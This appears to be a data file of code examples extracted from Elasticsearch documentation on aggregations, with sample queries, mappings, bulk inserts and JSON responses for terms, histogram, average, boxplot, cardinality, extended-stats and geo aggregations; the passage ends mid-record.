{"source_location":{"file":"aggregations/bucket/terms-aggregation.asciidoc","line":58},"digest":"8ee9521f57661a050efb614f02b4a090","lang":"console","found":["python","ruby"],"source":"GET /_search\n{\n \"aggs\": {\n \"genres\": {\n \"terms\": { \"field\": \"genre\" }\n }\n }\n}"}, {"source_location":{"file":"aggregations/bucket/terms-aggregation.asciidoc","line":73},"digest":"68aaac89471c93d7063fc99d324d6a27","lang":"console-result","found":[],"source":"{\n ...\n \"aggregations\": {\n \"genres\": {\n \"doc_count_error_upper_bound\": 0, <1>\n \"sum_other_doc_count\": 0, <2>\n \"buckets\": [ <3>\n {\n \"key\": \"electronic\",\n \"doc_count\": 6\n },\n {\n \"key\": \"rock\",\n \"doc_count\": 3\n },\n {\n \"key\": \"jazz\",\n \"doc_count\": 2\n }\n ]\n }\n }\n}"}, {"source_location":{"file":"aggregations/bucket/terms-aggregation.asciidoc","line":185},"digest":"e60ded7becfd5b2ccaef5bad2aaa93f5","lang":"console","found":["python","ruby","go"],"source":"GET /_search\n{\n \"aggs\": {\n \"products\": {\n \"terms\": {\n \"field\": \"product\",\n \"size\": 5,\n \"show_term_doc_count_error\": true\n }\n }\n }\n}"}, {"source_location":{"file":"aggregations/bucket/terms-aggregation.asciidoc","line":237},"digest":"54a215d242ab65123b09e9dfb71bcbbf","lang":"console","found":["python","ruby","go"],"source":"GET /_search\n{\n \"aggs\": {\n \"genres\": {\n \"terms\": {\n \"field\": \"genre\",\n \"order\": { \"_key\": \"asc\" }\n }\n }\n }\n}"}, {"source_location":{"file":"aggregations/bucket/terms-aggregation.asciidoc","line":272},"digest":"8eac28d2e9b6482b413d61817456a14f","lang":"console","found":["python","ruby","go"],"source":"GET /_search\n{\n \"aggs\": {\n \"genres\": {\n \"terms\": {\n \"field\": \"genre\",\n \"order\": { \"max_play_count\": \"desc\" }\n },\n \"aggs\": {\n \"max_play_count\": { \"max\": { \"field\": \"play_count\" } }\n }\n }\n }\n}"}, {"source_location":{"file":"aggregations/bucket/terms-aggregation.asciidoc","line":292},"digest":"f495f9c99916a05e3b28166d31955fad","lang":"console","found":["python","ruby","go"],"source":"GET /_search\n{\n \"aggs\": {\n \"genres\": {\n \"terms\": {\n \"field\": \"genre\",\n \"order\": { \"playback_stats.max\": \"desc\" }\n },\n \"aggs\": {\n \"playback_stats\": { \"stats\": { \"field\": \"play_count\" } }\n }\n }\n }\n}"}, {"source_location":{"file":"aggregations/bucket/terms-aggregation.asciidoc","line":338},"digest":"1e871f060dbe1a5c316ed205278804a8","lang":"console","found":["python","ruby","go"],"source":"GET /_search\n{\n \"aggs\": {\n \"countries\": {\n \"terms\": {\n \"field\": \"artist.country\",\n \"order\": { \"rock>playback_stats.avg\": \"desc\" }\n },\n \"aggs\": {\n \"rock\": {\n \"filter\": { \"term\": { \"genre\": \"rock\" } },\n \"aggs\": {\n \"playback_stats\": { \"stats\": { \"field\": \"play_count\" } }\n }\n }\n }\n }\n }\n}"}, {"source_location":{"file":"aggregations/bucket/terms-aggregation.asciidoc","line":365},"digest":"4ba86373e13e106de044f190343be328","lang":"console","found":["python","ruby","go"],"source":"GET /_search\n{\n \"aggs\": {\n \"countries\": {\n \"terms\": {\n \"field\": \"artist.country\",\n \"order\": [ { \"rock>playback_stats.avg\": \"desc\" }, { \"_count\": \"desc\" } ]\n },\n \"aggs\": {\n \"rock\": {\n \"filter\": { \"term\": { \"genre\": \"rock\" } },\n \"aggs\": {\n \"playback_stats\": { \"stats\": { \"field\": \"play_count\" } }\n }\n }\n }\n }\n }\n}"}, {"source_location":{"file":"aggregations/bucket/terms-aggregation.asciidoc","line":400},"digest":"c5802e9f3f4068fcecb6937b867b270d","lang":"console","found":["python","ruby","go"],"source":"GET /_search\n{\n \"aggs\": {\n \"genres\": {\n \"terms\": {\n \"field\": \"genre\",\n \"order\": { \"_count\": \"asc\" }\n }\n }\n }\n}"}, {"source_location":{"file":"aggregations/bucket/terms-aggregation.asciidoc","line":419},"digest":"b6c872d04eabb39d1947cde6b29d4ae1","lang":"console","found":["python","ruby","go"],"source":"GET /_search\n{\n \"aggs\": {\n \"tags\": {\n \"terms\": {\n \"field\": \"tags\",\n \"min_doc_count\": 10\n }\n }\n }\n}"}, {"source_location":{"file":"aggregations/bucket/terms-aggregation.asciidoc","line":464},"digest":"e891e1d4805172da45a81f62b6b44aca","lang":"console","found":["python","ruby"],"source":"GET /_search\n{\n \"size\": 0,\n \"runtime_mappings\": {\n \"normalized_genre\": {\n \"type\": \"keyword\",\n \"script\": \"\"\"\n String genre = doc['genre'].value;\n if (doc['product'].value.startsWith('Anthology')) {\n emit(genre + ' anthology');\n } else {\n emit(genre);\n }\n \"\"\"\n }\n },\n \"aggs\": {\n \"genres\": {\n \"terms\": {\n \"field\": \"normalized_genre\"\n }\n }\n }\n}"}, {"source_location":{"file":"aggregations/bucket/terms-aggregation.asciidoc","line":494},"digest":"a8603ae35e3c01f87fb9f5e7f302f3b5","lang":"console-result","found":[],"source":"{\n \"aggregations\": {\n \"genres\": {\n \"doc_count_error_upper_bound\": 0,\n \"sum_other_doc_count\": 0,\n \"buckets\": [\n {\n \"key\": \"electronic\",\n \"doc_count\": 4\n },\n {\n \"key\": \"rock\",\n \"doc_count\": 3\n },\n {\n \"key\": \"electronic anthology\",\n \"doc_count\": 2\n },\n {\n \"key\": \"jazz\",\n \"doc_count\": 2\n }\n ]\n }\n },\n ...\n}"}, {"source_location":{"file":"aggregations/bucket/terms-aggregation.asciidoc","line":543},"digest":"9403764e6eccad7b321b65e9a10c5727","lang":"console","found":["python","ruby","go"],"source":"GET /_search\n{\n \"aggs\": {\n \"tags\": {\n \"terms\": {\n \"field\": \"tags\",\n \"include\": \".*sport.*\",\n \"exclude\": \"water_.*\"\n }\n }\n }\n}"}, {"source_location":{"file":"aggregations/bucket/terms-aggregation.asciidoc","line":571},"digest":"0264e994a7e68561e2ca6be0f0d90ee9","lang":"console","found":["python","ruby","go"],"source":"GET /_search\n{\n \"aggs\": {\n \"JapaneseCars\": {\n \"terms\": {\n \"field\": \"make\",\n \"include\": [ \"mazda\", \"honda\" ]\n }\n },\n \"ActiveCarManufacturers\": {\n \"terms\": {\n \"field\": \"make\",\n \"exclude\": [ \"rover\", \"jensen\" ]\n }\n }\n }\n}"}, {"source_location":{"file":"aggregations/bucket/terms-aggregation.asciidoc","line":600},"digest":"5d9d7b84e2fec7ecd832145cbb951cf1","lang":"console","found":["php","python","ruby","go","js"],"source":"GET /_search\n{\n \"size\": 0,\n \"aggs\": {\n \"expired_sessions\": {\n \"terms\": {\n \"field\": \"account_id\",\n \"include\": {\n \"partition\": 0,\n \"num_partitions\": 20\n },\n \"size\": 10000,\n \"order\": {\n \"last_access\": \"asc\"\n }\n },\n \"aggs\": {\n \"last_access\": {\n \"max\": {\n \"field\": \"access_date\"\n }\n }\n }\n }\n }\n}"}, {"source_location":{"file":"aggregations/bucket/terms-aggregation.asciidoc","line":700},"digest":"653c0d0ef146c997ef6bc6450d4f5f94","lang":"console","found":["python","ruby","go"],"source":"GET /_search\n{\n \"aggs\": {\n \"actors\": {\n \"terms\": {\n \"field\": \"actors\",\n \"size\": 10\n },\n \"aggs\": {\n \"costars\": {\n \"terms\": {\n \"field\": \"actors\",\n \"size\": 5\n }\n }\n }\n }\n }\n}"}, {"source_location":{"file":"aggregations/bucket/terms-aggregation.asciidoc","line":731},"digest":"37530f35f315b9f35e3e6a13cf2a1ccd","lang":"console","found":["python","ruby","go"],"source":"GET /_search\n{\n \"aggs\": {\n \"actors\": {\n \"terms\": {\n \"field\": \"actors\",\n \"size\": 10,\n \"collect_mode\": \"breadth_first\" <1>\n },\n \"aggs\": {\n \"costars\": {\n \"terms\": {\n \"field\": \"actors\",\n \"size\": 5\n }\n }\n }\n }\n }\n}"}, {"source_location":{"file":"aggregations/bucket/terms-aggregation.asciidoc","line":782},"digest":"8f9a3fcd17a111f63caa3bef6e5f00f2","lang":"console","found":["python","ruby","go"],"source":"GET /_search\n{\n \"aggs\": {\n \"tags\": {\n \"terms\": {\n \"field\": \"tags\",\n \"execution_hint\": \"map\" <1>\n }\n }\n }\n}"}, {"source_location":{"file":"aggregations/bucket/terms-aggregation.asciidoc","line":807},"digest":"7ca224d1a7de20a15c008e1b9dbda377","lang":"console","found":["python","ruby","go"],"source":"GET /_search\n{\n \"aggs\": {\n \"tags\": {\n \"terms\": {\n \"field\": \"tags\",\n \"missing\": \"N/A\" <1>\n }\n }\n }\n}"}, {"source_location":{"file":"aggregations/bucket/terms-aggregation.asciidoc","line":846},"digest":"e316271f668c9889bf548311fb421f1e","lang":"console","found":["python","ruby"],"source":"GET /_search\n{\n \"aggs\": {\n \"ip_addresses\": {\n \"terms\": {\n \"field\": \"destination_ip\",\n \"missing\": \"0.0.0.0\",\n \"value_type\": \"ip\"\n }\n }\n }\n}"}, {"source_location":{"file":"aggregations/bucket/variablewidthhistogram-aggregation.asciidoc","line":18},"digest":"5dbf06ca9058843f572676fcaf587f75","lang":"console","found":["ruby"],"source":"POST /sales/_search?size=0\n{\n \"aggs\": {\n \"prices\": {\n \"variable_width_histogram\": {\n \"field\": \"price\",\n \"buckets\": 2\n }\n }\n }\n}"}, {"source_location":{"file":"aggregations/bucket/variablewidthhistogram-aggregation.asciidoc","line":36},"digest":"de7f7009e5000e1e6e121fbe5842703b","lang":"console-result","found":[],"source":"{\n ...\n \"aggregations\": {\n \"prices\": {\n \"buckets\": [\n {\n \"min\": 10.0,\n \"key\": 30.0,\n \"max\": 50.0,\n \"doc_count\": 2\n },\n {\n \"min\": 150.0,\n \"key\": 185.0,\n \"max\": 200.0,\n \"doc_count\": 5\n }\n ]\n }\n }\n}"}, {"source_location":{"file":"aggregations/bucket/range-field-note.asciidoc","line":12},"digest":"dbcd8892dd01c43d5a60c94173574faf","lang":"console","found":["ruby"],"source":"PUT range_index\n{\n \"settings\": {\n \"number_of_shards\": 2\n },\n \"mappings\": {\n \"properties\": {\n \"expected_attendees\": {\n \"type\": \"integer_range\"\n },\n \"time_frame\": {\n \"type\": \"date_range\",\n \"format\": \"yyyy-MM-dd||epoch_millis\"\n }\n }\n }\n}\n\nPUT range_index/_doc/1?refresh\n{\n \"expected_attendees\" : {\n \"gte\" : 10,\n \"lte\" : 20\n },\n \"time_frame\" : {\n \"gte\" : \"2019-10-28\",\n \"lte\" : \"2019-11-04\"\n }\n}"}, {"source_location":{"file":"aggregations/bucket/range-field-note.asciidoc","line":49},"digest":"812a3d7ab461d74efd9136aaf4bcf11c","lang":"console","found":["ruby"],"source":"POST /range_index/_search?size=0\n{\n \"aggs\": {\n \"range_histo\": {\n \"histogram\": {\n \"field\": \"expected_attendees\",\n \"interval\": 5\n }\n }\n }\n}"}, {"source_location":{"file":"aggregations/bucket/range-field-note.asciidoc","line":67},"digest":"44f937e080bb7db49a571fea57f594cf","lang":"console-result","found":[],"source":"{\n ...\n \"aggregations\" : {\n \"range_histo\" : {\n \"buckets\" : [\n {\n \"key\" : 10.0,\n \"doc_count\" : 1\n },\n {\n \"key\" : 15.0,\n \"doc_count\" : 1\n },\n {\n \"key\" : 20.0,\n \"doc_count\" : 1\n }\n ]\n }\n }\n}"}, {"source_location":{"file":"aggregations/bucket/range-field-note.asciidoc","line":105},"digest":"722238b4e7b78cdb3c6a986780e7e286","lang":"console","found":["ruby"],"source":"POST /range_index/_search?size=0\n{\n \"query\": {\n \"range\": {\n \"time_frame\": {\n \"gte\": \"2019-11-01\",\n \"format\": \"yyyy-MM-dd\"\n }\n }\n },\n \"aggs\": {\n \"november_data\": {\n \"date_histogram\": {\n \"field\": \"time_frame\",\n \"calendar_interval\": \"day\",\n \"format\": \"yyyy-MM-dd\"\n }\n }\n }\n}"}, {"source_location":{"file":"aggregations/bucket/range-field-note.asciidoc","line":133},"digest":"e41428c2d6096287a7e8f356a18488cc","lang":"console-result","found":[],"source":"{\n ...\n \"aggregations\" : {\n \"november_data\" : {\n \"buckets\" : [\n {\n \"key_as_string\" : \"2019-10-28\",\n \"key\" : 1572220800000,\n \"doc_count\" : 1\n },\n {\n \"key_as_string\" : \"2019-10-29\",\n \"key\" : 1572307200000,\n \"doc_count\" : 1\n },\n {\n \"key_as_string\" : \"2019-10-30\",\n \"key\" : 1572393600000,\n \"doc_count\" : 1\n },\n {\n \"key_as_string\" : \"2019-10-31\",\n \"key\" : 1572480000000,\n \"doc_count\" : 1\n },\n {\n \"key_as_string\" : \"2019-11-01\",\n \"key\" : 1572566400000,\n \"doc_count\" : 1\n },\n {\n \"key_as_string\" : \"2019-11-02\",\n \"key\" : 1572652800000,\n \"doc_count\" : 1\n },\n {\n \"key_as_string\" : \"2019-11-03\",\n \"key\" : 1572739200000,\n \"doc_count\" : 1\n },\n {\n \"key_as_string\" : \"2019-11-04\",\n \"key\" : 1572825600000,\n \"doc_count\" : 1\n }\n ]\n }\n }\n}"}, {"source_location":{"file":"aggregations/metrics/avg-aggregation.asciidoc","line":13},"digest":"64ca2ccb79a8f4add5b8fe2d3322ae92","lang":"console","found":["ruby"],"source":"POST /exams/_search?size=0\n{\n \"aggs\": {\n \"avg_grade\": { \"avg\": { \"field\": \"grade\" } }\n }\n}"}, {"source_location":{"file":"aggregations/metrics/avg-aggregation.asciidoc","line":26},"digest":"fb4c208d99a355e3cea6d3b885c024b2","lang":"console-result","found":[],"source":"{\n ...\n \"aggregations\": {\n \"avg_grade\": {\n \"value\": 75.0\n }\n }\n}"}, {"source_location":{"file":"aggregations/metrics/avg-aggregation.asciidoc","line":45},"digest":"0cf29da4b9f0503bd1a79bdc883aadbc","lang":"console","found":["ruby"],"source":"POST /exams/_search?size=0\n{\n \"runtime_mappings\": {\n \"grade.corrected\": {\n \"type\": \"double\",\n \"script\": {\n \"source\": \"emit(Math.min(100, doc['grade'].value * params.correction))\",\n \"params\": {\n \"correction\": 1.2\n }\n }\n }\n },\n \"aggs\": {\n \"avg_corrected_grade\": {\n \"avg\": {\n \"field\": \"grade.corrected\"\n }\n }\n }\n}"}, {"source_location":{"file":"aggregations/metrics/avg-aggregation.asciidoc","line":92},"digest":"0d0f7ece06f21e624d21b09804732f61","lang":"console","found":["ruby"],"source":"POST /exams/_search?size=0\n{\n \"aggs\": {\n \"grade_avg\": {\n \"avg\": {\n \"field\": \"grade\",\n \"missing\": 10 <1>\n }\n }\n }\n}"}, {"source_location":{"file":"aggregations/metrics/avg-aggregation.asciidoc","line":118},"digest":"b2652b1763a5fd31e95c983869b433bd","lang":"console","found":["ruby"],"source":"PUT metrics_index/_doc/1\n{\n \"network.name\" : \"net-1\",\n \"latency_histo\" : {\n \"values\" : [0.1, 0.2, 0.3, 0.4, 0.5], <1>\n \"counts\" : [3, 7, 23, 12, 6] <2>\n }\n}\n\nPUT metrics_index/_doc/2\n{\n \"network.name\" : \"net-2\",\n \"latency_histo\" : {\n \"values\" : [0.1, 0.2, 0.3, 0.4, 0.5], <1>\n \"counts\" : [8, 17, 8, 7, 6] <2>\n }\n}\n\nPOST /metrics_index/_search?size=0\n{\n \"aggs\": {\n \"avg_latency\":\n { \"avg\": { \"field\": \"latency_histo\" }\n }\n }\n}"}, {"source_location":{"file":"aggregations/metrics/avg-aggregation.asciidoc","line":151},"digest":"ca2b2089f958269ab694a0288c34217f","lang":"console-result","found":[],"source":"{\n ...\n \"aggregations\": {\n \"avg_latency\": {\n \"value\": 0.29690721649\n }\n }\n}"}, {"source_location":{"file":"aggregations/metrics/boxplot-aggregation.asciidoc","line":31},"digest":"2a287d213a812b98d8353c563a058cfc","lang":"console","found":["ruby"],"source":"GET latency/_search\n{\n \"size\": 0,\n \"aggs\": {\n \"load_time_boxplot\": {\n \"boxplot\": {\n \"field\": \"load_time\" <1>\n }\n }\n }\n}"}, {"source_location":{"file":"aggregations/metrics/boxplot-aggregation.asciidoc","line":50},"digest":"e98619ded45bbd6448eedf4d0ff9aaac","lang":"console-result","found":[],"source":"{\n ...\n\n \"aggregations\": {\n \"load_time_boxplot\": {\n \"min\": 0.0,\n \"max\": 990.0,\n \"q1\": 167.5,\n \"q2\": 445.0,\n \"q3\": 722.5,\n \"lower\": 0.0,\n \"upper\": 990.0\n }\n }\n}"}, {"source_location":{"file":"aggregations/metrics/boxplot-aggregation.asciidoc","line":83},"digest":"f0bfc8d7ab4eb94ea5fdf2e087d8cf5b","lang":"console","found":["ruby"],"source":"GET latency/_search\n{\n \"size\": 0,\n \"runtime_mappings\": {\n \"load_time.seconds\": {\n \"type\": \"long\",\n \"script\": {\n \"source\": \"emit(doc['load_time'].value / params.timeUnit)\",\n \"params\": {\n \"timeUnit\": 1000\n }\n }\n }\n },\n \"aggs\": {\n \"load_time_boxplot\": {\n \"boxplot\": { \"field\": \"load_time.seconds\" }\n }\n }\n}"}, {"source_location":{"file":"aggregations/metrics/boxplot-aggregation.asciidoc","line":149},"digest":"08a76b3f5a8394d8f9084113334a260a","lang":"console","found":["ruby"],"source":"GET latency/_search\n{\n \"size\": 0,\n \"aggs\": {\n \"load_time_boxplot\": {\n \"boxplot\": {\n \"field\": \"load_time\",\n \"compression\": 200 <1>\n }\n }\n }\n}"}, {"source_location":{"file":"aggregations/metrics/boxplot-aggregation.asciidoc","line":177},"digest":"2bc1d52efec2076dc9fc2a3a2d90e8ab","lang":"console","found":["ruby"],"source":"GET latency/_search\n{\n \"size\": 0,\n \"aggs\": {\n \"load_time_boxplot\": {\n \"boxplot\": {\n \"field\": \"load_time\",\n \"execution_hint\": \"high_accuracy\" <1>\n }\n }\n }\n}"}, {"source_location":{"file":"aggregations/metrics/boxplot-aggregation.asciidoc","line":205},"digest":"8696ba08ca6cc4992110c331732e5f47","lang":"console","found":["ruby"],"source":"GET latency/_search\n{\n \"size\": 0,\n \"aggs\": {\n \"grade_boxplot\": {\n \"boxplot\": {\n \"field\": \"grade\",\n \"missing\": 10 <1>\n }\n }\n }\n}"}, {"source_location":{"file":"aggregations/metrics/cardinality-aggregation.asciidoc","line":13},"digest":"61bf6ac15ae3e22323454a9a2872a2fa","lang":"console","found":["ruby"],"source":"POST /sales/_search?size=0\n{\n \"aggs\": {\n \"type_count\": {\n \"cardinality\": {\n \"field\": \"type\"\n }\n }\n }\n}"}, {"source_location":{"file":"aggregations/metrics/cardinality-aggregation.asciidoc","line":30},"digest":"4e5bbf04c3489f12cfeb64dce4a20f8c","lang":"console-result","found":[],"source":"{\n ...\n \"aggregations\": {\n \"type_count\": {\n \"value\": 3\n }\n }\n}"}, {"source_location":{"file":"aggregations/metrics/cardinality-aggregation.asciidoc","line":47},"digest":"1ff296e868635fd102239871a331331b","lang":"console","found":["ruby"],"source":"POST /sales/_search?size=0\n{\n \"aggs\": {\n \"type_count\": {\n \"cardinality\": {\n \"field\": \"type\",\n \"precision_threshold\": 100 <1>\n }\n }\n }\n}"}, {"source_location":{"file":"aggregations/metrics/cardinality-aggregation.asciidoc","line":188},"digest":"44dd65d69267017fa2fb2cffadef40bb","lang":"console","found":["ruby"],"source":"POST /sales/_search?size=0\n{\n \"runtime_mappings\": {\n \"type_and_promoted\": {\n \"type\": \"keyword\",\n \"script\": \"emit(doc['type'].value + ' ' + doc['promoted'].value)\"\n }\n },\n \"aggs\": {\n \"type_promoted_count\": {\n \"cardinality\": {\n \"field\": \"type_and_promoted\"\n }\n }\n }\n}"}, {"source_location":{"file":"aggregations/metrics/cardinality-aggregation.asciidoc","line":229},"digest":"08e79ca9fdcdfebb2c6a79e6837e649d","lang":"console","found":["ruby"],"source":"POST /sales/_search?size=0\n{\n \"aggs\": {\n \"tag_cardinality\": {\n \"cardinality\": {\n \"field\": \"tag\",\n \"missing\": \"N/A\" <1>\n }\n }\n }\n}"}, {"source_location":{"file":"aggregations/metrics/extendedstats-aggregation.asciidoc","line":14},"digest":"930ba37af73dd5ff0342ecfe6c60a4e9","lang":"console","found":["ruby"],"source":"GET /exams/_search\n{\n \"size\": 0,\n \"aggs\": {\n \"grades_stats\": { \"extended_stats\": { \"field\": \"grade\" } }\n }\n}"}, {"source_location":{"file":"aggregations/metrics/extendedstats-aggregation.asciidoc","line":30},"digest":"d6861575c27800522be8e6eca6f07063","lang":"console-result","found":[],"source":"{\n ...\n\n \"aggregations\": {\n \"grades_stats\": {\n \"count\": 2,\n \"min\": 50.0,\n \"max\": 100.0,\n \"avg\": 75.0,\n \"sum\": 150.0,\n \"sum_of_squares\": 12500.0,\n \"variance\": 625.0,\n \"variance_population\": 625.0,\n \"variance_sampling\": 1250.0,\n \"std_deviation\": 25.0,\n \"std_deviation_population\": 25.0,\n \"std_deviation_sampling\": 35.35533905932738,\n \"std_deviation_bounds\": {\n \"upper\": 125.0,\n \"lower\": 25.0,\n \"upper_population\": 125.0,\n \"lower_population\": 25.0,\n \"upper_sampling\": 145.71067811865476,\n \"lower_sampling\": 4.289321881345245\n }\n }\n }\n}"}, {"source_location":{"file":"aggregations/metrics/extendedstats-aggregation.asciidoc","line":70},"digest":"0718a0b4f4905a8c90c1ff93de557e56","lang":"console","found":["ruby"],"source":"GET /exams/_search\n{\n \"size\": 0,\n \"aggs\": {\n \"grades_stats\": {\n \"extended_stats\": {\n \"field\": \"grade\",\n \"sigma\": 3 <1>\n }\n }\n }\n}"}, {"source_location":{"file":"aggregations/metrics/extendedstats-aggregation.asciidoc","line":108},"digest":"2238ac4170275f6cfc2af49c3f014cbc","lang":"console","found":["ruby"],"source":"GET /exams/_search\n{\n \"size\": 0,\n \"runtime_mappings\": {\n \"grade.corrected\": {\n \"type\": \"double\",\n \"script\": {\n \"source\": \"emit(Math.min(100, doc['grade'].value * params.correction))\",\n \"params\": {\n \"correction\": 1.2\n }\n }\n }\n },\n \"aggs\": {\n \"grades_stats\": {\n \"extended_stats\": { \"field\": \"grade.corrected\" }\n }\n }\n}"}, {"source_location":{"file":"aggregations/metrics/extendedstats-aggregation.asciidoc","line":172},"digest":"5c24a9a0ddbfa50628dacdb9d25f7ab0","lang":"console","found":["ruby"],"source":"GET /exams/_search\n{\n \"size\": 0,\n \"aggs\": {\n \"grades_stats\": {\n \"extended_stats\": {\n \"field\": \"grade\",\n \"missing\": 0 <1>\n }\n }\n }\n}"}, {"source_location":{"file":"aggregations/metrics/geobounds-aggregation.asciidoc","line":12},"digest":"72b999120785dfba2827268482e9be0a","lang":"console","found":["ruby"],"source":"PUT /museums\n{\n \"mappings\": {\n \"properties\": {\n \"location\": {\n \"type\": \"geo_point\"\n }\n }\n }\n}\n\nPOST /museums/_bulk?refresh\n{\"index\":{\"_id\":1}}\n{\"location\": \"POINT (4.912350 52.374081)\", \"name\": \"NEMO Science Museum\"}\n{\"index\":{\"_id\":2}}\n{\"location\": \"POINT (4.901618 52.369219)\", \"name\": \"Museum Het Rembrandthuis\"}\n{\"index\":{\"_id\":3}}\n{\"location\": \"POINT (4.914722 52.371667)\", \"name\": \"Nederlands Scheepvaartmuseum\"}\n{\"index\":{\"_id\":4}}\n{\"location\": \"POINT (4.405200 51.222900)\", \"name\": \"Letterenhuis\"}\n{\"index\":{\"_id\":5}}\n{\"location\": \"POINT (2.336389 48.861111)\", \"name\": \"Musée du Louvre\"}\n{\"index\":{\"_id\":6}}\n{\"location\": \"POINT (2.327000 48.860000)\", \"name\": \"Musée d'Orsay\"}\n\nPOST /museums/_search?size=0\n{\n \"query\": {\n \"match\": { \"name\": \"musée\" }\n },\n \"aggs\": {\n \"viewport\": {\n \"geo_bounds\": {\n \"field\": \"location\", <1>\n \"wrap_longitude\": true <2>\n }\n }\n }\n}"}, {"source_location":{"file":"aggregations/metrics/geobounds-aggregation.asciidoc","line":62},"digest":"8170a1551ae6f10759a96b53320b0a2c","lang":"console-result","found":[],"source":"{\n ...\n \"aggregations\": {\n \"viewport\": {\n \"bounds\": {\n \"top_left\": {\n \"lat\": 48.86111099738628,\n \"lon\": 2.3269999679178\n },\n \"bottom_right\": {\n \"lat\": 48.85999997612089,\n \"lon\": 2.3363889567553997\n }\n }\n }\n }\n}"}, {"source_location":{"file":"aggregations/metrics/geobounds-aggregation.asciidoc","line":104},"digest":"67a55ac3aaee09f4aeeb7d2763da3335","lang":"console","found":["ruby"],"source":"PUT /places\n{\n \"mappings\": {\n \"properties\": {\n \"geometry\": {\n \"type\": \"geo_shape\"\n }\n }\n }\n}\n\nPOST /places/_bulk?refresh\n{\"index\":{\"_id\":1}}\n{\"name\": \"NEMO Science Museum\", \"geometry\": \"POINT(4.912350 52.374081)\" }\n{\"index\":{\"_id\":2}}\n{\"name\": \"Sportpark De Weeren\", \"geometry\": { \"type\": \"Polygon\", \"coordinates\": [ [ [ 4.965305328369141, 52.39347642069457 ], [ 4.966979026794433, 52.391721758934835 ], [ 4.969425201416015, 52.39238958618537 ], [ 4.967944622039794, 52.39420969150824 ], [ 4.965305328369141, 52.39347642069457 ] ] ] } }\n\nPOST /places/_search?size=0\n{\n \"aggs\": {\n \"viewport\": {\n \"geo_bounds\": {\n \"field\": \"geometry\"\n }\n }\n }\n}"}, {"source_location":{"file":"aggregations/metrics/geobounds-aggregation.asciidoc","line":136},"digest":"98767f19b5c8174c258abdefda38c57a","lang":"console-result","found":[],"source":"{\n ...\n \"aggregations\": {\n \"viewport\": {\n \"bounds\": {\n \"top_left\": {\n \"lat\": 52.39420966710895,\n \"lon\": 4.912349972873926\n },\n \"bottom_right\": {\n \"lat\": 52.374080987647176,\n \"lon\": 4.969425117596984\n }\n }\n }\n }\n}"}, {"source_location":{"file":"aggregations/metrics/geocentroid-aggregation.asciidoc","line":13},"digest":"873e2333734b1cf5ed066596e5f74b0a","lang":"console","found":["ruby"],"source":"PUT /museums\n{\n \"mappings\": {\n \"properties\": {\n \"location\": {\n \"type\": \"geo_point\"\n }\n }\n }\n}\n\nPOST /museums/_bulk?refresh\n{\"index\":{\"_id\":1}}\n{\"location\": \"POINT (4.912350 52.374081)\", \"city\": \"Amsterdam\", \"name\": \"NEMO Science Museum\"}\n{\"index\":{\"_id\":2}}\n{\"location\": \"POINT (4.901618 52.369219)\", \"city\": \"Amsterdam\", \"name\": \"Museum Het Rembrandthuis\"}\n{\"index\":{\"_id\":3}}\n{\"location\": \"POINT (4.914722 52.371667)\", \"city\": \"Amsterdam\", \"name\": \"Nederlands Scheepvaartmuseum\"}\n{\"index\":{\"_id\":4}}\n{\"location\": \"POINT (4.405200 51.222900)\", \"city\": \"Antwerp\", \"name\": \"Letterenhuis\"}\n{\"index\":{\"_id\":5}}\n{\"location\": \"POINT (2.336389 48.861111)\", \"city\": \"Paris\", \"name\": \"Musée du Louvre\"}\n{\"index\":{\"_id\":6}}\n{\"location\": \"POINT (2.327000 48.860000)\", \"city\": \"Paris\", \"name\": \"Musée d'Orsay\"}\n\nPOST /museums/_search?size=0\n{\n \"aggs\": {\n \"centroid\": {\n \"geo_centroid\": {\n \"field\": \"location\" <1>\n }\n }\n }\n}"}, {"source_location":{"file":"aggregations/metrics/geocentroid-aggregation.asciidoc","line":58},"digest":"a284e1042dae3fc6a126d80604775107","lang":"console-result","found":[],"source":"{\n ...\n \"aggregations\": {\n \"centroid\": {\n \"location\": {\n \"lat\": 51.00982965203002,\n \"lon\": 3.9662131341174245\n },\n \"count\": 6\n }\n }\n}"}, {"source_location":{"file":"aggregations/metrics/geocentroid-aggregation.asciidoc","line":79},"digest":"eeb35b759bd239bb773c8ebd5fe63d05","lang":"console","found":["ruby"],"source":"POST /museums/_search?size=0\n{\n \"aggs\": {\n \"cities\": {\n \"terms\": { \"field\": \"city.keyword\" },\n \"aggs\": {\n \"centroid\": {\n \"geo_centroid\": { \"field\": \"location\" }\n }\n }\n }\n }\n}"}, {"source_location":{"file":"aggregations/metrics/geocentroid-aggregation.asciidoc","line":103},"digest":"3dd003cc591dc409832de268b0ee2528","lang":"console-result","found":[],"source":"{\n ...\n \"aggregations\": {\n \"cities\": {\n \"sum_other_doc_count\": 0,\n \"doc_count_error_upper_bound\": 0,\n \"buckets\": [\n {\n \"key\": \"Amsterdam\",\n \"doc_count\": 3,\n \"centroid\": {\n \"location\": {\n \"lat\": 52.371655656024814,\n \"lon\": 4.909563297405839\n },\n \"count\": 3\n }\n },\n {\n \"key\": \"Paris\",\n \"doc_count\": 2,\n \"centroid\": {\n \"location\": {\n \"lat\": 48.86055548675358,\n \"lon\": 2.3316944623366\n },\n \"count\": 2\n }\n },\n {\n \"key\": \"Antwerp\",\n \"doc_count\": 1,\n \"centroid\": {\n \"location\": {\n \"lat\": 51.22289997059852,\n \"lon\": 4.40519998781383\n },\n \"count\": 1\n }\n }\n ]\n }\n }\n}"}, {"source_location":{"file":"aggregations/metrics/geocentroid-aggregation.asciidoc","line":184},"digest":"5cfab507e50d8c5182939412a9dbcdc8","lang":"console","found":["ruby"],"source":"PUT /places\n{\n \"mappings\": {\n \"properties\": {\n \"geometry\": {\n \"type\": \"geo_shape\"\n }\n }\n }\n}\n\nPOST /places/_bulk?refresh\n{\"index\":{\"_id\":1}}\n{\"name\": \"NEMO Science Museum\", \"geometry\": \"POINT(4.912350 52.374081)\" }\n{\"index\":{\"_id\":2}}\n{\"name\": \"Sportpark De Weeren\", \"geometry\": { \"type\": \"Polygon\", \"coordinates\": [ [ [ 4.965305328369141, 52.39347642069457 ], [ 4.966979026794433, 52.391721758934835 ], [ 4.969425201416015, 52.39238958618537 ], [ 4.967944622039794, 52.39420969150824 ], [ 4.965305328369141, 52.39347642069457 ] ] ] } }\n\nPOST /places/_search?size=0\n{\n \"aggs\": {\n \"centroid\": {\n \"geo_centroid\": {\n \"field\": \"geometry\"\n }\n }\n }\n}"}, {"source_location":{"file":"aggregations/metrics/geocentroid-aggregation.asciidoc","line":216},"digest":"28dd1d1dd1f64c7022aa4d3a8a2125ae","lang":"console-result","found":[],"source":"{\n ...\n \"aggregations\": {\n \"centroid\": {\n \"location\": {\n 